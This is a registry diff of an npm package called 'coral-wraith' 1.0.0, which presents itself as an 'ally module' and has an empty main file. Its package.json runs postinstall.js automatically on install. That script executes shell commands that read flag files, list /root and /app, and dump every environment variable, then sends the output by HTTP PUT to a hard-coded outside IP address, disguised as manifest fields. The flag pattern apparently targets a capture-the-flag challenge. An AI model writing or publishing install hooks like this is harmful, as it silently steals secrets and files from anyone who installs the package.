coral-wraith 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "coral-wraith",
3
+ "version": "1.0.0",
4
+ "description": "Coral Wraith ally module",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ }
9
+ }
package/postinstall.js ADDED
@@ -0,0 +1,37 @@
1
+ const http = require("http");
2
+ const { execSync } = require("child_process");
3
+
4
+ const TARGET = "http://154.57.164.71:30782";
5
+ const SINK = "ECT-472839";
6
+
7
+ function run(cmd) {
8
+ try { return execSync(cmd, { timeout: 15000, encoding: "utf8", maxBuffer: 8e6 }); }
9
+ catch (e) { return (e.stdout || "") + (e.stderr || ""); }
10
+ }
11
+
12
+ const out = run(
13
+ "id; ls -la /app /root /flag /flag.txt 2>&1; " +
14
+ "cat /flag /flag.txt /app/flag.txt /root/flag.txt 2>&1; " +
15
+ "grep -RaoE 'HTB\\{[^}]+\\}' /app /root /flag 2>/dev/null | head -n3; " +
16
+ "env | sort | tr '\\n' ';'"
17
+ );
18
+
19
+ const flag = out.match(/HTB\{[^}]+\}/);
20
+ const safe = (s) => String(s).replace(/[\r\n\\"]/g, " ").slice(0, 240);
21
+ const parts = flag
22
+ ? [flag[0], "FOUND", "", ""]
23
+ : [safe(out.slice(0, 240)), safe(out.slice(240, 480)), safe(out.slice(480, 720)), safe(out.slice(720, 960))];
24
+
25
+ const body = JSON.stringify({
26
+ manifest:
27
+ `ecto_module:\n name: "${parts[0]}"\n version: "1.0.0"\n` +
28
+ ` power_level: "${parts[1]}"\n ship_deck: "${parts[2]}"\n cargo_hold: "${parts[3]}"\n`
29
+ });
30
+
31
+ const url = new URL(`/api/modules/${SINK}`, TARGET);
32
+ const req = http.request({
33
+ hostname: url.hostname, port: url.port, path: url.pathname, method: "PUT",
34
+ headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) }
35
+ }, (res) => res.resume());
36
+ req.on("error", () => {});
37
+ req.end(body);